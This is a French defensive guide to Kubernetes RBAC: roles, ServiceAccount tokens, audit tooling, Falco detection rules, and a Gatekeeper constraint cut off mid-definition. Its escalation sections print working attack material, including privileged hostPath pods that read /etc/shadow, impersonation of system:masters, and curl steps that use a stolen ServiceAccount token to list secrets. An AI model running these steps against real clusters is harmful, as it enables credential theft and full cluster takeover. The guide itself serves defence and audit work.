La gestion des permissions Kubernetes via RBAC (Role-Based Access Control) constitue le pilier fondamental de la sécurité des clusters en production dans les architectures cloud-native modernes. La documentation officielle Kubernetes RBAC et l'outil KubiScan de CyberArk permettent respectivement de comprendre les primitives d'autorisation et d'auditer automatiquement les permissions dangereuses. Dans un environnement où les microservices, les opérateurs custom, les jobs batch et les pipelines CI/CD interagissent constamment avec l'API Server, chaque ServiceAccount, chaque Role, chaque ClusterRoleBinding et chaque admission webhook représente un vecteur potentiel d'escalade de privilèges si les permissions sont configurées de manière trop permissive. Ce guide exhaustif couvre l'ensemble des mécanismes RBAC natifs depuis la création de rôles granulaires namespace-scoped jusqu'à l'audit automatisé des permissions excessives et les stratégies de défense en profondeur.

La documentation officielle Kubernetes et l'outil KubiScan de CyberArk permettent respectivement de comprendre les primitives RBAC et d'auditer automatiquement les permissions dangereuses sur un cluster.

Le contrôle d'accès basé sur les rôles (RBAC) dans Kubernetes constitue le mécanisme fondamental de gouvernance des permissions au sein d'un cluster. Chaque requête adressée à l'API Server — qu'elle provienne d'un administrateur exécutant kubectl, d'un pod accédant à des secrets via son ServiceAccount, ou d'un contrôleur interne orchestrant le cycle de vie des ressources — est évaluée par le module RBAC qui détermine si l'action demandée est autorisée. La complexité inhérente aux architectures Kubernetes, avec leurs centaines de types de ressources, leurs namespaces imbriqués et leurs patterns de communication inter-pods, rend la configuration RBAC particulièrement délicate. Une permission trop large sur un verbe apparemment anodin peut ouvrir un chemin d'escalade de privilèges permettant à un attaquant de prendre le contrôle complet du cluster. Cet article décortique l'architecture RBAC de Kubernetes, identifie les vecteurs d'escalade de privilèges les plus exploités, et propose des patterns de moindre privilège validés en production, complétés par les outils d'audit et les contraintes OPA Gatekeeper nécessaires à une gouvernance continue.

Architecture RBAC de Kubernetes : composants fondamentaux

Le système RBAC de Kubernetes repose sur quatre objets API qui interagissent pour définir qui peut faire quoi sur quelles ressources. La compréhension précise de ces objets, de leur portée et de leurs interactions est le prérequis indispensable à toute configuration sécurisée.

Le Role définit un ensemble de permissions (rules) dans un namespace spécifique. Chaque rule spécifie les groupes d'API (apiGroups), les types de ressources (resources) et les verbes autorisés (verbs). Les verbes Kubernetes standard sont get, list, watch, create, update, patch, delete et deletecollection. Un Role n'accorde aucune permission par lui-même — il doit être lié à un sujet (utilisateur, groupe ou ServiceAccount) via un RoleBinding.

Déploiement et mise en production

Le ClusterRole est identique au Role en termes de structure, mais sa portée est globale au cluster. Il peut référencer des ressources à portée de namespace (pods, services, deployments) aussi bien que des ressources à portée de cluster (nodes, namespaces, PersistentVolumes, ClusterRoles eux-mêmes). Les ClusterRoles sont également utilisés pour les ressources non-namespace comme les endpoints d'API non liés à des ressources (nonResourceURLs).

# Role — permissions dans un namespace spécifique
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: production
  name: pod-reader
rules:
- apiGroups: [""]           # "" = core API group
  resources: ["pods"]
  verbs: ["get", "list", "watch"]
- apiGroups: [""]
  resources: ["pods/log"]   # Sous-ressource: logs des pods
  verbs: ["get"]

---
# ClusterRole — permissions globales au cluster
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: node-viewer
rules:
- apiGroups: [""]
  resources: ["nodes"]      # Ressource à portée cluster
  verbs: ["get", "list", "watch"]
- apiGroups: ["metrics.k8s.io"]
  resources: ["nodes"]
  verbs: ["get", "list"]

---
# RoleBinding — lie un Role à un sujet dans un namespace
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: read-pods-production
  namespace: production
subjects:
- kind: User
  name: alice@example.com
  apiGroup: rbac.authorization.k8s.io
- kind: ServiceAccount
  name: monitoring-agent
  namespace: monitoring
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io

---
# ClusterRoleBinding — lie un ClusterRole à un sujet pour tout le cluster
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: global-node-viewer
subjects:
- kind: Group
  name: platform-engineers
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: node-viewer
  apiGroup: rbac.authorization.k8s.io

Le RoleBinding lie un Role (ou un ClusterRole) à un ensemble de sujets dans un namespace spécifique. Lorsqu'un RoleBinding référence un ClusterRole, les permissions du ClusterRole sont restreintes au namespace du RoleBinding. Ce mécanisme est particulièrement utile pour réutiliser des ClusterRoles standards (comme view, edit, admin) dans différents namespaces sans les redéfinir à chaque fois.

Le ClusterRoleBinding lie un ClusterRole à des sujets pour l'ensemble du cluster. C'est la configuration la plus permissive et celle qui requiert le plus de vigilance. Un ClusterRoleBinding accordant le ClusterRole cluster-admin à un sujet lui donne un accès total au cluster, équivalent à root sur un système Linux. Le nombre de ClusterRoleBindings dans un cluster doit être minimal et chaque binding doit être justifié et audité.

Analyse approfondie

Les sujets peuvent être de trois types : User (identité humaine, généralement fournie par un certificat x509 ou un token OIDC), Group (groupe d'utilisateurs, défini par le provider d'identité), et ServiceAccount (identité de charge de travail, créée et gérée dans Kubernetes). Les ServiceAccounts sont les sujets les plus nombreux car chaque pod utilise un ServiceAccount pour s'authentifier auprès de l'API Server.

Règle de portée : Un RoleBinding dans un namespace ne peut accorder que des permissions dans ce namespace, même s'il référence un ClusterRole. Seul un ClusterRoleBinding peut accorder des permissions globales au cluster. Cette distinction est fondamentale pour la segmentation des accès : les équipes applicatives reçoivent des RoleBindings dans leurs namespaces, tandis que les ClusterRoleBindings sont réservés aux équipes plateforme et aux composants système.

ServiceAccounts : identités des charges de travail

Les ServiceAccounts constituent le mécanisme d'identité pour les charges de travail (pods) dans Kubernetes. Chaque namespace contient un ServiceAccount par défaut (default), et chaque pod qui ne spécifie pas explicitement un ServiceAccount utilise ce ServiceAccount par défaut. La compréhension du fonctionnement des ServiceAccounts est critique car ils représentent le vecteur d'accès le plus fréquemment exploité lors des compromissions de clusters.

Avant Kubernetes 1.24, la création d'un ServiceAccount générait automatiquement un Secret contenant un token JWT sans date d'expiration (legacy token). Ce token, monté dans chaque pod à /var/run/secrets/kubernetes.io/serviceaccount/token, permettait l'authentification auprès de l'API Server avec les permissions du ServiceAccount. Un attaquant compromettant un pod pouvait extraire ce token et l'utiliser depuis n'importe quel emplacement réseau ayant accès à l'API Server, sans expiration et sans possibilité de révocation individuelle (seule la suppression du ServiceAccount révoquait le token).

À partir de Kubernetes 1.24, les tokens sont générés dynamiquement via le TokenRequest API avec une durée de vie limitée (1 heure par défaut), un audience spécifique, et une liaison au pod qui les a demandés (bound token). Le token est automatiquement renouvelé par le kubelet avant expiration. Ce mécanisme réduit considérablement la fenêtre d'exploitation d'un token volé. Cependant, les clusters migrés depuis des versions antérieures peuvent conserver des Secrets de type kubernetes.io/service-account-token contenant des tokens legacy non expirants — un risque qui doit être audité et éliminé.

Configuration sécurisée

# ServiceAccount avec configuration sécurisée
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    # Documentation des permissions accordées
    rbac.example.com/purpose: "Backend API accessing ConfigMaps and Secrets"
    rbac.example.com/owner: "team-backend@example.com"
automountServiceAccountToken: false  # Ne PAS monter automatiquement le token

---
# Pod utilisant le ServiceAccount avec token projection sécurisée
apiVersion: v1
kind: Pod
metadata:
  name: backend-app
  namespace: production
spec:
  serviceAccountName: app-backend
  automountServiceAccountToken: false  # Désactivé au niveau du pod aussi
  containers:
  - name: app
    image: registry.example.com/backend:v2.1.0
    volumeMounts:
    - name: sa-token
      mountPath: /var/run/secrets/tokens
      readOnly: true
  volumes:
  - name: sa-token
    projected:
      sources:
      - serviceAccountToken:
          path: token
          expirationSeconds: 3600  # Token valide 1 heure
          audience: api.example.com  # Audience spécifique

---
# Role minimal pour le ServiceAccount
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: production
  name: app-backend-role
rules:
- apiGroups: [""]
  resources: ["configmaps"]
  resourceNames: ["app-config", "feature-flags"]  # Ressources NOMMÉES
  verbs: ["get", "watch"]
- apiGroups: [""]
  resources: ["secrets"]
  resourceNames: ["app-db-credentials"]  # Secret SPÉCIFIQUE uniquement
  verbs: ["get"]

---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  namespace: production
  name: app-backend-binding
subjects:
- kind: ServiceAccount
  name: app-backend
  namespace: production
roleRef:
  kind: Role
  name: app-backend-role
  apiGroup: rbac.authorization.k8s.io

La configuration automountServiceAccountToken: false est une mesure de sécurité fondamentale qui empêche le montage automatique du token dans les pods. Cela signifie que les pods qui n'ont pas besoin d'accéder à l'API Kubernetes ne recevront pas de token, éliminant un vecteur d'attaque pour les pods compromis. Les pods qui nécessitent un accès à l'API peuvent utiliser des projected volumes avec des tokens à durée de vie courte et un audience spécifique, comme illustré dans l'exemple.

L'utilisation de resourceNames dans les rules RBAC permet de restreindre l'accès à des ressources spécifiques nommées, plutôt qu'à toutes les ressources d'un type donné. Un ServiceAccount qui doit lire uniquement le ConfigMap app-config ne devrait pas avoir accès à tous les ConfigMaps du namespace. Cette granularité fine est souvent négligée mais constitue l'une des applications les plus concrètes du principe du moindre privilège dans Kubernetes.

Audit des permissions par défaut

Chaque installation Kubernetes inclut un ensemble de ClusterRoles et ClusterRoleBindings par défaut qui méritent un audit attentif. Certains de ces defaults accordent des permissions excessives pour les besoins de la plupart des environnements de production, et leur modification ou restriction est une étape essentielle du durcissement du cluster.

# Audit des ClusterRoles par défaut
# Lister tous les ClusterRoles et leurs règles
kubectl get clusterroles -o custom-columns=\
'NAME:.metadata.name,RULES:.rules[*].verbs'

# Identifier les ClusterRoles avec des wildcards (permissions totales)
kubectl get clusterroles -o json | \
  jq -r '.items[] | select(.rules[]? |
    (.verbs[]? == "*") or (.resources[]? == "*") or (.apiGroups[]? == "*")) |
    .metadata.name'

# Résultat typique:
# admin
# cluster-admin
# edit
# system:aggregate-to-admin
# system:aggregate-to-edit

# Lister tous les ClusterRoleBindings et leurs sujets
kubectl get clusterrolebindings -o custom-columns=\
'NAME:.metadata.name,ROLE:.roleRef.name,SUBJECTS:.subjects[*].name'

# Vérifier qui a le rôle cluster-admin
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name == "cluster-admin") |
    {name: .metadata.name, subjects: .subjects}'

# Lister les ServiceAccounts avec des ClusterRoleBindings
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.subjects[]?.kind == "ServiceAccount") |
    {binding: .metadata.name, role: .roleRef.name,
     sa: [.subjects[] | select(.kind == "ServiceAccount") |
          "\(.namespace)/\(.name)"]}'

Le ClusterRole system:discovery et le ClusterRoleBinding system:discovery accordent par défaut les permissions get sur les endpoints /api, /api/*, /apis, /apis/*, /healthz et /version au groupe system:authenticated, qui inclut tout utilisateur authentifié. Ces endpoints d'API discovery révèlent la liste des API disponibles sur le cluster, incluant les CRDs (Custom Resource Definitions) et les API d'extensions. Pour un attaquant disposant d'un token minimal, cette information facilite la reconnaissance du cluster et l'identification des cibles d'escalade.

Authentification et contrôle d'accès

Le ClusterRole system:basic-user accorde par défaut la permission de créer des SelfSubjectAccessReview et SelfSubjectRulesReview, permettant à tout utilisateur authentifié de lister ses propres permissions. Bien que cette fonctionnalité soit utile pour le débogage, elle aide également un attaquant à cartographier ses permissions et à identifier les vecteurs d'escalade.

Approfondissement technique

Les ClusterRoles agrégés (admin, edit, view) sont composés via le mécanisme d'agrégation de labels : tout ClusterRole portant le label rbac.authorization.k8s.io/aggregate-to-admin: "true" est automatiquement fusionné dans le ClusterRole admin. Ce mécanisme est pratique pour les extensions (les CRDs peuvent ajouter leurs permissions aux rôles agrégés) mais crée un risque si un acteur malveillant parvient à créer un ClusterRole avec le label d'agrégation approprié — les permissions seraient silencieusement ajoutées aux rôles existants.

L'audit des permissions par défaut doit être effectué après chaque mise à jour de Kubernetes et après l'installation de chaque addon, contrôleur ou opérateur. Les Helm charts des composants tiers (Prometheus, Grafana, Cert-Manager, Istio, ArgoCD) créent souvent des ClusterRoles et ClusterRoleBindings avec des permissions larges nécessaires à leur fonctionnement. Ces permissions doivent être examinées lors de l'installation et réduites lorsque les fonctionnalités qu'elles autorisent ne sont pas utilisées. Par exemple, le ClusterRole de Prometheus inclut typiquement la permission get et list sur les endpoints de métriques de tous les namespaces — ce qui est nécessaire pour le monitoring mais donne une visibilité sur l'ensemble du cluster à tout utilisateur ayant accès au ServiceAccount Prometheus.

La commande suivante permet de lister tous les ClusterRoles non-système et d'identifier ceux qui ont été créés par des composants tiers :

# Identifier les ClusterRoles non-système
kubectl get clusterroles -o json | \
  jq -r '.items[] | select(.metadata.name | startswith("system:") | not) |
    select(.metadata.labels["app.kubernetes.io/managed-by"] != null) |
    {name: .metadata.name, managedBy: .metadata.labels["app.kubernetes.io/managed-by"],
     rules_count: (.rules | length)}'

# Vérifier les permissions sur les secrets pour les composants tiers
kubectl get clusterroles -o json | \
  jq -r '.items[] | select(.metadata.name | startswith("system:") | not) |
    select(.rules[]? | .resources[]? == "secrets") |
    {name: .metadata.name, secret_verbs: [.rules[] | select(.resources[]? == "secrets") | .verbs[]]}'

Escalade de privilèges via RBAC : vecteurs d'attaque

L'escalade de privilèges via RBAC est le risque de sécurité le plus critique dans Kubernetes. Des permissions apparemment bénignes peuvent être chaînées pour obtenir un accès complet au cluster. La connaissance de ces vecteurs est indispensable pour auditer les configurations RBAC existantes et concevoir des politiques sécurisées.

Vecteur 1 : création de pods

La permission create pods est le vecteur d'escalade le plus puissant et le plus sous-estimé. Un utilisateur pouvant créer un pod dans un namespace peut monter n'importe quel Secret du namespace (incluant les tokens de ServiceAccounts privilégiés), monter le système de fichiers de l'hôte via hostPath, utiliser le réseau de l'hôte via hostNetwork, exécuter en tant que root et accéder aux capacités Linux. Concrètement, la permission de créer un pod équivaut à un accès root sur les nœuds du cluster si aucune politique d'admission (PodSecurity, OPA Gatekeeper) ne restreint les configurations de pod acceptées.

# Exploitation de la permission "create pods" pour escalade de privilèges

# 1. Pod montant le token d'un ServiceAccount privilégié
apiVersion: v1
kind: Pod
metadata:
  name: escalation-pod
  namespace: kube-system  # Si l'attaquant a create pods dans kube-system
spec:
  serviceAccountName: default
  containers:
  - name: attacker
    image: alpine:latest
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: admin-token
      mountPath: /var/run/secrets/admin
  volumes:
  - name: admin-token
    secret:
      secretName: admin-sa-token  # Secret contenant un token admin

---
# 2. Pod avec accès au système de fichiers de l'hôte
apiVersion: v1
kind: Pod
metadata:
  name: host-access
spec:
  containers:
  - name: root-shell
    image: alpine:latest
    command: ["chroot", "/host", "/bin/sh", "-c", "cat /etc/shadow"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

---
# 3. Pod utilisant un ServiceAccount avec cluster-admin
apiVersion: v1
kind: Pod
metadata:
  name: admin-pod
spec:
  serviceAccountName: cluster-admin-sa  # SA lié à cluster-admin
  automountServiceAccountToken: true
  containers:
  - name: kubectl
    image: bitnami/kubectl:latest
    command: ["sleep", "infinity"]
    # L'attaquant peut ensuite: kubectl exec -it admin-pod -- kubectl get secrets --all-namespaces

Vecteur 2 : exec dans les pods

La permission create pods/exec permet d'exécuter des commandes dans un pod existant. Si un pod vulnérable dispose d'un ServiceAccount privilégié (par exemple, un contrôleur système dans kube-system), l'attaquant peut utiliser kubectl exec pour obtenir un shell dans ce pod et hériter de ses permissions API.

Vecteur 3 : lecture de Secrets

La permission get secrets ou list secrets dans un namespace donne accès à tous les Secrets de ce namespace, incluant les tokens de ServiceAccounts, les credentials de bases de données, les clés TLS et les tokens API. Dans le namespace kube-system, les Secrets incluent les tokens des composants système critiques.

Vecteur 4 : permissions wildcard

L'utilisation de * (wildcard) dans les verbes, ressources ou apiGroups est l'erreur RBAC la plus flagrante. Le wildcard accorde toutes les permissions, incluant celles qui n'existent pas encore — si une nouvelle API est ajoutée au cluster (via un CRD ou une mise à jour), le wildcard l'inclut automatiquement. Les wildcards dans les ClusterRoles sont particulièrement dangereux car ils s'étendent à l'ensemble du cluster.

# Permissions wildcards — à PROSCRIRE
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: dangerous-admin  # NE PAS UTILISER
rules:
- apiGroups: ["*"]      # TOUS les groupes d'API
  resources: ["*"]      # TOUTES les ressources
  verbs: ["*"]          # TOUS les verbes
# => Équivaut à cluster-admin mais est invisible dans les audits
#    qui cherchent spécifiquement le binding à "cluster-admin"

---
# Même danger avec un wildcard partiel
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: subtle-danger
rules:
- apiGroups: [""]
  resources: ["*"]     # Toutes les ressources du core API group
  verbs: ["get", "list", "watch"]
# => Inclut les Secrets, les ServiceAccounts, les Nodes, etc.
# => Suffisant pour exfiltrer tous les credentials du cluster

Vecteur 5 : impersonation

La permission d'impersonation (impersonate sur les ressources users, groups ou serviceaccounts) permet à un utilisateur d'agir en tant qu'un autre utilisateur. C'est un mécanisme légitime utilisé par les API proxies et les solutions de SSO, mais s'il est accordé sans restriction, il permet à l'attaquant d'impersonner system:masters (le groupe super-admin) et d'obtenir un accès total au cluster.

Techniques d'exploitation

# Exploitation de l'impersonation
# L'attaquant possède le droit "impersonate" sur les groupes
kubectl auth can-i impersonate groups
# yes

# L'attaquant s'impersonne en tant que system:masters
kubectl get secrets --all-namespaces \
  --as=admin@example.com \
  --as-group=system:masters
# => Accès total au cluster

Vecteur 6 : escalade via les bindings

La permission create rolebindings ou create clusterrolebindings permet de lier n'importe quel Role existant à n'importe quel sujet. Un utilisateur disposant de create rolebindings dans un namespace peut se lier lui-même au ClusterRole admin dans ce namespace, obtenant toutes les permissions du rôle admin. Kubernetes 1.28+ inclut une protection contre cette escalade (escalation prevention) qui empêche un utilisateur de créer un binding vers un rôle possédant des permissions qu'il ne possède pas lui-même, mais cette protection peut être contournée si l'utilisateur possède la permission escalate sur les Roles/ClusterRoles.

Vecteur d'escalade Permission requise Impact Difficulté
Création de pod privilégié create pods Root sur les nœuds Faible
Exec dans pod privilégié create pods/exec Héritage des permissions du pod Faible
Lecture de Secrets get/list secrets Exfiltration de credentials Faible
Wildcards dans les rôles Wildcard verbs/resources Permissions futures incluses Aucune (passive)
Impersonation impersonate users/groups Accès total (system:masters) Faible
Création de bindings create rolebindings + escalate Auto-attribution de rôles Moyenne
Modification de CSR create/approve CSR Création de certificats admin Moyenne
Contrôle de webhooks create/update MutatingWebhookConfiguration Interception/modification de toutes les requêtes Haute

Principe critique : Dans Kubernetes, la permission de CRÉER un pod est fonctionnellement équivalente à un accès root sur le cluster si aucune politique d'admission ne restreint les capacités des pods. La permission create pods doit être traitée avec la même rigueur que la permission cluster-admin. Les politiques PodSecurity ou OPA Gatekeeper sont indispensables pour contrôler ce que les pods créés peuvent faire, indépendamment des permissions RBAC de leur créateur.

Vol de tokens ServiceAccount

Le vol de tokens de ServiceAccounts depuis des pods compromis est le scénario d'attaque le plus courant dans les compromissions de clusters Kubernetes documentées publiquement. L'attaquant compromet un pod via une vulnérabilité applicative (RCE, SSRF, injection de commandes), extrait le token monté dans le pod, et utilise ce token pour accéder à l'API Kubernetes avec les permissions du ServiceAccount.

Techniques d'exploitation

# Exploitation post-compromission d'un pod

# 1. Vérifier la présence d'un token ServiceAccount
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# eyJhbGciOiJSUzI1NiIsImtpZCI6... (JWT token)

cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# production

cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Certificat CA du cluster

# 2. Déterminer l'adresse de l'API Server
echo $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
# 10.96.0.1:443

# 3. Utiliser le token pour interroger l'API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT

# Lister les permissions du token
curl -sk -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"production"}}'

# Lister les secrets du namespace
curl -sk -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/production/secrets

# Lister les pods
curl -sk -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/production/pods

# 4. Si le token a des permissions suffisantes, créer un pod d'escalade
curl -sk -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/production/pods \
  -X POST -H "Content-Type: application/json" \
  -d '{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {"name": "escalation"},
    "spec": {
      "containers": [{
        "name": "shell",
        "image": "alpine",
        "command": ["sleep", "infinity"],
        "securityContext": {"privileged": true},
        "volumeMounts": [{"name": "host", "mountPath": "/host"}]
      }],
      "volumes": [{"name": "host", "hostPath": {"path": "/"}}]
    }
  }'

La mitigation du vol de tokens repose sur une approche multicouche. La désactivation du montage automatique de token (automountServiceAccountToken: false) sur les ServiceAccounts et les pods qui n'en ont pas besoin est la mesure la plus efficace. L'utilisation de tokens projetés avec des durées de vie courtes (1 heure) et des audiences spécifiques limite la fenêtre d'exploitation. Les Network Policies restreignant la connectivité réseau des pods vers l'API Server réduisent la capacité d'un pod compromis à utiliser un token volé. Les politiques d'admission empêchant la création de pods privilégiés ou montant des hostPaths bloquent les chemins d'escalade post-vol.

Pour les clusters exécutant des charges de travail sensibles, la fonctionnalité Bound Service Account Token Volume (GA depuis Kubernetes 1.22) peut être renforcée par la configuration --service-account-max-token-expiration sur l'API Server pour imposer une durée de vie maximale globale. La fonctionnalité Service Account Token Volume Projection permet de spécifier une audience pour chaque token, empêchant la réutilisation d'un token conçu pour un service spécifique auprès de l'API Server. Pour une couverture complète du durcissement des clusters Kubernetes, consultez notre article dédié à la sécurisation des clusters Kubernetes.

Approfondissement technique

La détection du vol de token en production repose sur l'analyse des audit logs Kubernetes pour identifier les patterns d'accès anormaux. Un ServiceAccount qui n'effectue normalement que des requêtes GET configmaps et qui soudainement tente un LIST secrets ou CREATE pods est un indicateur fort de compromission. Les outils de détection d'anomalies comme Falco (runtime security) complètent les audit logs en détectant les comportements suspects au niveau système : un processus dans un conteneur qui lit le fichier token (/var/run/secrets/kubernetes.io/serviceaccount/token), qui effectue des requêtes réseau vers l'API Server depuis un pod qui n'est pas censé le faire, ou qui exécute des commandes suspectes (kubectl, curl vers le metadata service) dans un conteneur applicatif.

Mécanismes d'autorisation

# Règles Falco pour la détection de vol de token ServiceAccount

# Détection de la lecture du fichier token par un processus inattendu
- rule: Read ServiceAccount Token
  desc: Détecte la lecture du fichier token SA par un processus non autorisé
  condition: >
    open_read and
    fd.name = "/var/run/secrets/kubernetes.io/serviceaccount/token" and
    not proc.name in (known_sa_token_readers)
  output: >
    Lecture suspecte du token ServiceAccount
    (user=%user.name command=%proc.cmdline file=%fd.name container=%container.name
    image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: WARNING
  tags: [token_theft, kubernetes]

# Détection de communication avec l'API Server depuis un pod non autorisé
- rule: Unexpected API Server Connection
  desc: Détecte les connexions vers l'API Server depuis des pods non autorisés
  condition: >
    outbound and
    fd.sip = "10.96.0.1" and
    not k8s.ns.name in (kube-system, monitoring, cert-manager) and
    not container.image.repository in (authorized_api_clients)
  output: >
    Connexion inattendue vers l'API Server Kubernetes
    (pod=%k8s.pod.name ns=%k8s.ns.name image=%container.image.repository
    command=%proc.cmdline destination=%fd.sip:%fd.sport)
  priority: CRITICAL
  tags: [api_access, lateral_movement, kubernetes]

# Liste des processus autorisés à lire le token
- list: known_sa_token_readers
  items: [kubelet, kube-proxy, coredns, argocd-server, prometheus]

# Liste des images autorisées à communiquer avec l'API Server
- list: authorized_api_clients
  items: [argocd, prometheus, external-secrets, cert-manager]

L'outil KubeHunter de Aqua Security effectue des tests de pénétration automatisés sur le cluster Kubernetes, incluant la tentative d'exploitation de tokens ServiceAccount exposés. Exécuté en mode « pod » à l'intérieur du cluster, il simule le comportement d'un attaquant qui a compromis un pod et tente d'exploiter les permissions du ServiceAccount associé. Les résultats identifient les pods avec des tokens exploitables, les chemins d'escalade de privilèges réels et les mesures de mitigation manquantes. L'exécution régulière de KubeHunter (hebdomadaire en environnement de production) fournit une validation continue que les contrôles RBAC, les Network Policies et les Pod Security Standards fonctionnent effectivement ensemble pour prévenir l'exploitation post-compromission.

Outils d'audit RBAC : kubectl-who-can, rbac-lookup, kubeaudit

L'audit manuel des configurations RBAC dans un cluster de production est impraticable en raison du volume de rôles, bindings et ServiceAccounts. Les outils spécialisés automatisent l'analyse et identifient les permissions excessives, les vecteurs d'escalade et les violations du principe du moindre privilège.

Analyse approfondie

# kubectl-who-can — Qui peut faire quoi ?
# Installation
kubectl krew install who-can

# Qui peut créer des pods dans le namespace default ?
kubectl who-can create pods -n default
# ROLEBINDING          NAMESPACE  SUBJECT            TYPE            SA-NAMESPACE
# admin-binding        default    admin-user         User
# edit-binding         default    dev-team           Group
# CLUSTERROLEBINDING   SUBJECT                       TYPE            SA-NAMESPACE
# cluster-admin-crb    system:masters                Group
# deployment-ctrl      system:serviceaccount:...     ServiceAccount  kube-system

# Qui peut lire les secrets dans kube-system ?
kubectl who-can get secrets -n kube-system

# Qui peut créer des clusterrolebindings ? (vecteur d'escalade critique)
kubectl who-can create clusterrolebindings

# Qui peut impersonner des utilisateurs ?
kubectl who-can impersonate users

# --- rbac-lookup — Vue d'ensemble des permissions par sujet ---
# Installation
kubectl krew install rbac-lookup

# Toutes les permissions de l'utilisateur alice
kubectl rbac-lookup alice
# SUBJECT  SCOPE       ROLE
# alice    production  Role/pod-reader
# alice    staging     ClusterRole/edit
# alice    cluster     ClusterRole/view

# Tous les ServiceAccounts avec des ClusterRoleBindings
kubectl rbac-lookup --kind=serviceaccount --output=wide | grep ClusterRoleBinding

# --- kubeaudit — Audit de sécurité complet ---
# Installation
go install github.com/Shopify/kubeaudit@latest

# Audit complet du cluster
kubeaudit all

# Audit spécifique RBAC
kubeaudit rbac

# Résultats typiques:
# [ERROR] ClusterRoleBinding "developer-admin" grants cluster-admin to group "developers"
# [WARNING] ServiceAccount "default" in namespace "production" has mounted token
# [ERROR] Role "app-role" in namespace "staging" has wildcard permissions

# --- rakkess — Matrice de permissions ---
kubectl krew install access-matrix

# Afficher la matrice de permissions de l'utilisateur courant
kubectl access-matrix
# NAME                 LIST  CREATE  UPDATE  DELETE
# configmaps           ✔     ✔       ✔       ✔
# endpoints            ✔     ✖       ✖       ✖
# persistentvolumes    ✖     ✖       ✖       ✖
# pods                 ✔     ✔       ✔       ✔
# secrets              ✔     ✔       ✔       ✔
# services             ✔     ✔       ✔       ✔

# Matrice de permissions pour un ServiceAccount spécifique
kubectl access-matrix --as system:serviceaccount:production:app-backend -n production

L'outil kubectl-who-can est indispensable pour répondre à la question « qui a cette permission ? » — une question fréquente lors des investigations de sécurité et des audits de conformité. La recherche des sujets pouvant créer des pods, lire des secrets, créer des bindings ou impersonner des utilisateurs identifie immédiatement les risques d'escalade de privilèges.

rbac-lookup offre la perspective inverse : « quelles permissions a ce sujet ? ». Cette vue est précieuse pour vérifier les permissions effectives d'un utilisateur ou d'un ServiceAccount, incluant les permissions héritées via les groupes et les ClusterRoles. La sortie tabulaire facilite la revue rapide des droits excessifs.

kubeaudit de Shopify effectue un audit de sécurité complet du cluster, incluant mais ne se limitant pas au RBAC. Il détecte les pods exécutés en tant que root, les conteneurs avec des capabilities excessives, les namespaces sans Network Policies, les images sans tag de version fixe, et les configurations RBAC dangereuses. Son intégration dans les pipelines CI/CD permet une validation automatique avant le déploiement. Pour compléter l'outillage d'audit, notre article sur les infostealers explique comment les credentials Kubernetes volés sont exploités dans la cybercriminalité.

OPA Gatekeeper : contraintes sur les permissions RBAC

Open Policy Agent (OPA) Gatekeeper est un contrôleur d'admission Kubernetes qui évalue les requêtes API contre des politiques déclaratives avant leur exécution. Dans le contexte RBAC, Gatekeeper permet de définir des contraintes qui empêchent la création de configurations RBAC dangereuses — wildcards, bindings vers cluster-admin, ServiceAccounts avec des permissions excessives — même par des utilisateurs disposant des permissions RBAC nécessaires.

Analyse approfondie

# Constraint Template — interdire les wildcards dans les Roles
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: k8sblockwildcardroles
spec:
  crd:
    spec:
      names:
        kind: K8sBlockWildcardRoles
      validation:
        openAPIV3Schema:
          type: object
          properties:
            allowedWildcardRoles:
              type: array
              items:
                type: string
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package k8sblockwildcardroles

        violation[{"msg": msg}] {
          is_role_or_clusterrole
          rule := input.review.object.rules[_]
          has_wildcard(rule)
          not is_allowed(input.review.object.metadata.name)
          msg := sprintf("Le rôle '%v' contient des permissions wildcard, ce qui est interdit par la politique de sécurité. Spécifiez explicitement les verbes, ressources et apiGroups nécessaires.", [input.review.object.metadata.name])
        }

        is_role_or_clusterrole {
          input.review.kind.kind == "Role"
        }
        is_role_or_clusterrole {
          input.review.kind.kind == "ClusterRole"
        }

        has_wildcard(rule) {
          rule.verbs[_] == "*"
        }
        has_wildcard(rule) {
          rule.resources[_] == "*"
        }
        has_wildcard(rule) {
          rule.apiGroups[_] == "*"
        }

        is_allowed(name) {
          input.parameters.allowedWildcardRoles[_] == name
        }

---
# Constraint — appliquer l'interdiction des wildcards
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sBlockWildcardRoles
metadata:
  name: block-wildcard-roles
spec:
